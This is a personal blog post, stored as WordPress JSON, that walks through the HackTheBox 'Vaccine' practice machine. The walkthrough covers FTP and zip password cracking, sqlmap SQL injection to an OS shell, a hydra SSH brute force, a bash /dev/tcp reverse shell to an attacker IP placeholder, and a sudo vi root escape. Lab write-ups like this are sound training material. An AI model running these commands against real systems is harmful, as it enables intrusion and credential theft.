{"id":94,"date":"2022-08-23T22:56:22","date_gmt":"2022-08-24T02:56:22","guid":{"rendered":"https:\/\/mikebabineau.me\/?p=94"},"modified":"2022-08-25T16:34:12","modified_gmt":"2022-08-25T20:34:12","slug":"htb-starting-point-2-3-vaccine-writeup","status":"publish","type":"post","link":"https:\/\/mikebabineau.me\/index.php\/2022\/08\/23\/htb-starting-point-2-3-vaccine-writeup\/","title":{"rendered":"HTB Starting Point 2-3 &#8220;Vaccine&#8221; Writeup"},"content":{"rendered":"<p>This is my writeup for the &#8216;Vaccine&#8217; machine in HackTheBox&#8217;s starting point. As usual, I will include everything I tried, whether it turned out to be fruitful or not.<\/p>\n<hr>\n<h2>Enumeration &amp; Starting out<\/h2>\n<p>Let&#8217;s start with some port enumeration. We also want to save the output for future reference and posterity:<\/p>\n<p><code>nmap -sV -O -sC 10.129.60.52 | tee nmap.txt<\/code><br \/>\n<em>This time we will use the <code>tee<\/code> command rather than <code>&gt;<\/code> as this will display the output in STDOUT, meaning we can view the results in the console right away while simultaneously saving it to a file.<\/em><\/p>\n<p>We see three ports to work with, <code>21<\/code> (ftp), <code>22<\/code> (ssh), and <code>80<\/code> (http). Because we told nmap to run some basic scripts with <code>-sC<\/code>, we get some additional info for these ports:<br \/>\n<code>21<\/code>: Looks like logging in with the <code>anonymous<\/code> user is enabled:<br \/>\n<code>tp-anon: Anonymous FTP login allowed (FTP code 230)<\/code><br \/>\n<code>22<\/code>: Some hostkeys were obtained. We have those saved and may come back to these later.<br \/>\n<code>80<\/code>: Looks like the server is hosting a php login page. We will look at that shortly!<\/p>\n<p>Let&#8217;s login to the ftp server using the  <code>anonymous<\/code> user to see what we can see.: <code>ftp open 10.129.60.52<\/code><br \/>\nSpecify <code>anonymous<\/code> when prompted for a user<br \/>\nWe find only one file: <code>backup.zip<\/code> . Let&#8217;s download it using the <code>get<\/code> command. It will be downloaded to our open directory on our attacker machine. In my case, I have created a folder in my home dir: <code>\/home\/kefka\/htb\/vaccine<\/code><br \/>\nWe try to pry it open with the <code>unzip<\/code> command, but it looks like it is password-protected. Boo!<\/p>\n<h2>Rip &amp; .zip<\/h2>\n<p>JohntheRipper has a tool for obtaining the password hash from a <code>.zip<\/code> file: <code>zip2john<\/code>. We output it to a text file and name it <code>backupzip_hash.txt<\/code>. Now we can use John to try and break the hash using a wordlist:<br \/>\n<em>Note: A simple guide for this can be found <a href=\"https:\/\/dfir.science\/2014\/07\/how-to-cracking-zip-and-rar-protected.html\">here<\/a><\/em><\/p>\n<p><code>john backupzip_hash.txt --wordlist \/usr\/share\/wordlists\/rockyou.txt<\/code><\/p>\n<p>Output:<\/p>\n<pre><code class=\"shell\">Warning: invalid UTF-8 seen reading \/usr\/share\/wordlists\/rockyou.txt\nUsing default input encoding: UTF-8\nLoaded 1 password hash (PKZIP [32\/64])\nWill run 6 OpenMP threads\nProceeding with wordlist:\/usr\/share\/john\/password.lst\nPress 'q' or Ctrl-C to abort, almost any other key for status\n741852963        (backup.zip)\n1g 0:00:00:00 DONE (2022-08-10 15:34) 33.33g\/s 118200p\/s 118200c\/s 118200C\/s 123456..sss\nUse the \"--show\" option to display all of the cracked passwords reliably\nSession completed.\n<\/code><\/pre>\n<p>For some reason <code>john<\/code> didn&#8217;t like rockyou.txt, but thankfully looks like it defaulted to another list and found the password anyway: <code>741852963<\/code><br \/>\n<em>Note: Proper formatting for the &#8211;wordlist parameter is <code>--wordlist=[dir]<\/code>, hence our error<\/em><\/p>\n<p>Opening the archive, it looks like it contains a backup copy of the sourcecode for the website. So let&#8217;s look at the site now.<\/p>\n<h2>Going Online<\/h2>\n<p>Peeking at the site, looks like a simple login page, as expected. We do have what we&#8217;re assuming is the source code for this (and the hint for our next question points us towards is) but let&#8217;s run gobuster first to see what we can see.<\/p>\n<pre><code class=\"shell\">===============================================================\nGobuster v3.1.0\nby OJ Reeves (@TheColonial) &amp;amp; Christian Mehlmauer (@firefart)\n===============================================================\n[+] Url:                     http:\/\/10.129.22.252\n[+] Method:                  GET\n[+] Threads:                 10\n[+] Wordlist:                \/usr\/share\/wordlists\/dirb\/common.txt\n[+] Negative Status codes:   404\n[+] User Agent:              gobuster\/3.1.0\n[+] Extensions:              php,txt,html,xml\n[+] Timeout:                 10s\n===============================================================\n2022\/08\/10 23:00:45 Starting gobuster in directory enumeration mode\n===============================================================\n\/.hta.html            (Status: 403) [Size: 278]\n\/.hta.xml             (Status: 403) [Size: 278]\n\/.hta.php             (Status: 403) [Size: 278]\n\/.hta                 (Status: 403) [Size: 278]\n\/.hta.txt             (Status: 403) [Size: 278]\n\/.htaccess            (Status: 403) [Size: 278]\n\/.htpasswd.php        (Status: 403) [Size: 278]\n\/.htpasswd.txt        (Status: 403) [Size: 278]\n\/.htaccess.php        (Status: 403) [Size: 278]\n\/.htaccess.txt        (Status: 403) [Size: 278]\n\/.htpasswd.html       (Status: 403) [Size: 278]\n\/.htaccess.html       (Status: 403) [Size: 278]\n\/.htpasswd.xml        (Status: 403) [Size: 278]\n\/.htaccess.xml        (Status: 403) [Size: 278]\n\/.htpasswd            (Status: 403) [Size: 278]\n\/dashboard.php        (Status: 302) [Size: 931] [--&amp;gt; index.php]\n\/index.php            (Status: 200) [Size: 2312]\n\/index.php            (Status: 200) [Size: 2312]\n\/license.txt          (Status: 200) [Size: 1100]\n\/server-status        (Status: 403) [Size: 278]\n===============================================================\n2022\/08\/10 23:05:09 Finished\n===============================================================\n\n<\/code><\/pre>\n<p>Not much. Looks like just a few php files.<br \/>\nLooking at the contents of the <code>index.php<\/code> file we pulled off the ftp server reveals something interesting in a function at the start of the page:<\/p>\n<pre><code class=\"php\">session_start();\n  if(isset($_POST['username']) &amp;&amp; isset($_POST['password'])) {\n    if($_POST['username'] === 'admin' &amp;&amp; md5($_POST['password']) === \"2cb42f8734ea607eefed3b70af13bbd3\") {\n      $_SESSION['login'] = \"true\";\n      header(\"Location: dashboard.php\");\n<\/code><\/pre>\n<p>Looks like they are checking the credentials provided inside the php file itself. We have a username and an md5 hash of the password thanks to their poor practices. We will head over to www.crackstation.net and pop the hash in to complete our creds: <code>admin:qwerty789<\/code><\/p>\n<h2>Struggling through sqlmap<\/h2>\n<p>Logging into the site, we see a table with some car info in it  and a search function in the top right. The question in task 6 points us to using <code>sqlmap<\/code> to find a vulnerability on the site using the <code>--os-shell<\/code> switch. So we run the command: <code>sqlmap -u http:\/\/[Target-ip]\/dashboard.php --os-shell<\/code><br \/>\nSadly it doesn&#8217;t seem to work. <code>sqlmap<\/code> returns something along the lines of &#8220;None of the fields are injectable&#8221;.<br \/>\nLooking online at some examples of <code>sqlmap --os-shell<\/code> usage, it seems it is often best to call it using a local file that has a full http request in it. So we will open Burpsuite, log into the website and save the http request to a file. However, we still get the same output from <code>sqlmap<\/code>. Further googling doesn&#8217;t give us any pointers, but eventually through trial and error we discover that we need to pass a search query in the url of the http request we pass into <code>sqlmap<\/code>. So what was successful was entering a search and saving the <code>GET<\/code> request contents, and then passing those into <code>sqlmap<\/code>. So our URL should look something like<br \/>\n<code>http:\/\/[server-ip]\/dashboard.php?search=123<\/code><br \/>\nOur saved HTTP request looks like this:<\/p>\n<pre><code class=\"bash\">GET \/dashboard.php?search=123 HTTP\/1.1\nHost: 10.129.126.241\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/103.0.5060.134 Safari\/537.36\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.9\nReferer: http:\/\/10.129.126.241\/dashboard.php\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nCookie: PHPSESSID=il4uvu77vqqhkqae1bjoo3klve\nConnection: close\n<\/code><\/pre>\n<p>We will then save the contents of the request form burp to a file and passing that into <code>sqlmap<\/code><br \/>\nSo our successful command looks like this: <code>sqlmap -r sqlmap_input --os-shell<\/code><br \/>\nWe will get some prompts in the program, read through them and answer appropriately. The one we are concerned with is: <code>GET parameter 'search' is vulnerable. Do you want to keep testing the others (if any)? [y\/N]<\/code><br \/>\nWe will answer <code>N<\/code><br \/>\nAnd we get our shell &#8211; we are in!<\/p>\n<h2>Cracking the shell &amp; Privilege Escalation<\/h2>\n<p><code>whoami<\/code> returns <em>postgres<\/em> for our user. We see, however, that many commands seem to be disabled for our user, or are not able to be passed through the <code>sqlmap<\/code> shell. <code>cd<\/code> doesn&#8217;t work, so we can&#8217;t navigate the system to try and expand our foothold. We are able to run <code>cat<\/code>, and we are able to output the <code>\/etc\/passwd<\/code>  file to list the users. We see there is a <em>simon<\/em> user, so we try running <code>hydra<\/code> to bruteforce our way in through ssh using the following command:<br \/>\n<code>hydra -t16 -l simon -P \/usr\/share\/wordlists\/rockyou.txt -vV 10.129.222.199 ssh<\/code><br \/>\nNow we wait (it will be awhile). If successful, we will be able to use ssh to get a much more secure and usable shell.<br \/>\nWhile this is going on, we take a peek at the lab tasks to get an idea of what else to try. It looks like there is a program <em>postgres<\/em> is able to run as root, so we try try running <code>sudo -l<\/code>, although without a password it won&#8217;t be much help. In any case, it doesn&#8217;t seem to work through our <code>sqlmap<\/code> shell anyway. As we suspected, running <code>sudo -l -S<\/code> (the -S switch is required due to our s<code>qlmap<\/code> context according to an error thrown when we try to run <code>sudo-l<\/code>) prompts for a password.<\/p>\n<p>The <code>sqlmap<\/code> connection keeps dropping, which is pretty annoying. It&#8217;s also severely limiting our capabilities on the victim machine. In an attempt to run a more usable and stable shell we open a <code>netcat<\/code> listener on our attacker machine and try calling <code>bash -i &amp;gt;&amp;amp; \/dev\/tcp\/{attacker_ip}\/9999 0&amp;gt;&amp;amp;1<\/code>, but it doesn&#8217;t seem to work. We go to our good friend Google and start combing through results, and eventually find an <a href=\"https:\/\/www.reddit.com\/r\/hackthebox\/comments\/stcjm3\/stuck_on_unified_tier_2_netcat_does_not_seem_to\/\">interesting reddit post<\/a> with a different technique of calling bash using the -c switch to take another command as a string: <code>bash -c \"bash -i &amp;gt;&amp;amp; \/dev\/tcp\/[IP-address]\/443 0&amp;gt;&amp;amp;1\"<\/code>. Amusingly, it seems they got this command from a writeup for a different HTB machine, but we won&#8217;t worry about that. We change the port what our listening <code>netcat<\/code> expects and we get a reverse shell going! Nice.<\/p>\n<p><code>cd<\/code> commands now work, so we start poking through the pc to see what we can see. The source code for the site seems to be a good place to start, as <code>sqlmap<\/code> was able to log in as the  <code>postgresql<\/code> there may be a hash of the password somewhere we can leverage.<\/p>\n<p>This turns out to be very close to the case. In fact, the password was <em>stored in plaintext<\/em> at the top of the <code>dashboard.php<\/code> file for the site:<\/p>\n<pre><code class=\"php\">\nsession_start(); \n    if($_SESSION['login'] !== \"true\") { \n        header(\"Location: index.php\"); \n        die(); \n    } \n    try { \n        $conn = pg_connect(\"host=localhost port=5432 dbname=carsdb user=postgres password=P@s5w0rd!\"); \n    }\n<\/code><\/pre>\n<p>Running <code>sudo -l<\/code> points us to one app we can use to get to root: <code>vi<\/code>, but there is a catch: we can only run it as root on a specified file:<\/p>\n<pre><code class=\"shell\">User postgres may run the following commands on vaccine:\n(ALL) \/bin\/vi \/etc\/postgresql\/11\/main\/pg_hba.conf\n<\/code><\/pre>\n<p>So we run the following command: <code>sudo vi \/etc\/postgresql\/11\/main\/pg_hba.conf<\/code> and it opens <code>vi<\/code> as root in that file. There is a very well-known trick (actually a built in feature) to getting a shell in <code>vi<\/code>. If we type <code>:<\/code>, it will open up a prompt from which we can run a shell simply by calling <code>\/bin\/bash<\/code>. This works and we are now in a shell as root!<\/p>\n<p>The only task remaining is to find the flags. navigating to <code>\/root<\/code>, we find the <code>root.txt<\/code> file for the root flag. But there&#8217;s one more user flag we need to find. I think we were supposed to find it already, but we must have missed it. No worries, we&#8217;ll run a quick command to find it: <code>\"user.txt\" | grep \"user.txt\"<\/code><br \/>\nAnd we see we missed the flag in the directory for the <code>postgres<\/code> user:<br \/>\n<code>\/var\/lib\/postgresql\/user.txt<\/code><\/p>\n<hr>\n<h2>Closing Thoughts<\/h2>\n<p>I had a lot of trouble with <code>sqlmap<\/code> in this box. I spent a lot of time looking through webpages and the <code>man<\/code> page of the command trying to figure out why my <code>--os-shell<\/code> command wasn&#8217;t working. At first I logged all the switches and things I tried, but I had to cut it down because it was just <strong>way too long<\/strong>, and I already feel like these writeups are a bit wordy. On that note, I&#8217;ll end this one!<br \/>\n~Mike &#8216;kefka&#8217; Babineau<\/p>\n","protected":false},"excerpt":{"rendered":"<p>This is my writeup for the &#8216;Vaccine&#8217; machine in HackTheBox&#8217;s starting point. As usual, I will include everything I tried, whether it turned out to be fruitful or not. Enumeration &amp; Starting out Let&#8217;s start with some port enumeration. We also want to save the output for future reference and [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":95,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[9],"tags":[10,7,6,12],"class_list":["post-94","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-htb-writeups","tag-cyber","tag-fun","tag-hackthebox-2","tag-writeup"],"aioseo_notices":[],"jetpack_featured_media_url":"https:\/\/mikebabineau.me\/wp-content\/uploads\/2022\/08\/vaccinepwned.png","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/mikebabineau.me\/index.php\/wp-json\/wp\/v2\/posts\/94","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/mikebabineau.me\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/mikebabineau.me\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/mikebabineau.me\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/mikebabineau.me\/index.php\/wp-json\/wp\/v2\/comments?post=94"}],"version-history":[{"count":7,"href":"https:\/\/mikebabineau.me\/index.php\/wp-json\/wp\/v2\/posts\/94\/revisions"}],"predecessor-version":[{"id":118,"href":"https:\/\/mikebabineau.me\/index.php\/wp-json\/wp\/v2\/posts\/94\/revisions\/118"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/mikebabineau.me\/index.php\/wp-json\/wp\/v2\/media\/95"}],"wp:attachment":[{"href":"https:\/\/mikebabineau.me\/index.php\/wp-json\/wp\/v2\/media?parent=94"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/mikebabineau.me\/index.php\/wp-json\/wp\/v2\/categories?post=94"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/mikebabineau.me\/index.php\/wp-json\/wp\/v2\/tags?post=94"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}